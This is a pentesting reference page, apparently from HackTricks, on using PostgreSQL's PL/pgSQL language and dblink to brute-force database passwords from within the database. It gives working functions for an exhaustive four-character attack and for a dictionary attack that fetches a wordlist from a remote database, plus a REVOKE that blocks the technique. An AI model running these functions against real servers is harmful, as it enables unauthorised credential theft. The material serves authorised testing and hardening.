hacktricks/pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md

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PL/pgSQL, as a **fully featured programming language**, allows much more procedural control than SQL, including the **ability to use loops and other control structures**. SQL statements and triggers can call functions created in the PL/pgSQL language.

You can abuse this language in order to ask PostgreSQL to brute-force the users credentials, but it must exist on the database. You can verify it's existence using:

```sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
     lanname | lanacl
    ---------+---------
     plpgsql |
```

By default, **creating functions is a privilege granted to PUBLIC**, where PUBLIC refers to every user on that database system. To prevent this, the administrator could have had to revoke the USAGE privilege from the PUBLIC domain:

```sql
REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;
```

In that case, our previous query would output different results:

```sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
     lanname | lanacl
    ---------+-----------------
     plpgsql | {admin=U/admin}
```

Here how you could perform a 4 chars password bruteforce:

```sql
//Create the brute-force function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
                                username TEXT, dbname TEXT) RETURNS TEXT AS
$$
DECLARE
    word TEXT;
BEGIN
    FOR a IN 65..122 LOOP
        FOR b IN 65..122 LOOP
            FOR c IN 65..122 LOOP
                FOR d IN 65..122 LOOP
                    BEGIN
                        word := chr(a) || chr(b) || chr(c) || chr(d);
                        PERFORM(SELECT * FROM dblink(' host=' || host ||
                                                    ' port=' || port ||
                                                    ' dbname=' || dbname ||
                                                    ' user=' || username ||
                                                    ' password=' || word,
                                                    'SELECT 1') 
                                                    RETURNS (i INT));
                                                    RETURN word;
                        EXCEPTION
                            WHEN sqlclient_unable_to_establish_sqlconnection 
                                THEN
                                    -- do nothing
                    END;
                END LOOP;
            END LOOP;
        END LOOP;
    END LOOP;
    RETURN NULL;
END;
$$ LANGUAGE 'plpgsql';

//Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
```

_Note that even brute-forcing 4 characters may take several minutes._

You could also **download a wordlist** and try only those passwords (dictionary attack):

```sql
//Create the function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
                                username TEXT, dbname TEXT) RETURNS TEXT AS
$$
BEGIN
    FOR word IN (SELECT word FROM dblink('host=1.2.3.4
                                            user=name
                                            password=qwerty
                                            dbname=wordlists',
                                            'SELECT word FROM wordlist')
                                        RETURNS (word TEXT)) LOOP
        BEGIN
            PERFORM(SELECT * FROM dblink(' host=' || host ||
                                            ' port=' || port ||
                                            ' dbname=' || dbname ||
                                            ' user=' || username ||
                                            ' password=' || word,
                                            'SELECT 1')
                                        RETURNS (i INT));
            RETURN word;

            EXCEPTION
                WHEN sqlclient_unable_to_establish_sqlconnection THEN
                    -- do nothing
        END;
    END LOOP;
    RETURN NULL;
END;
$$ LANGUAGE 'plpgsql'

//Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
```

**Find**[ **more information about this attack in this paper**](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**.**


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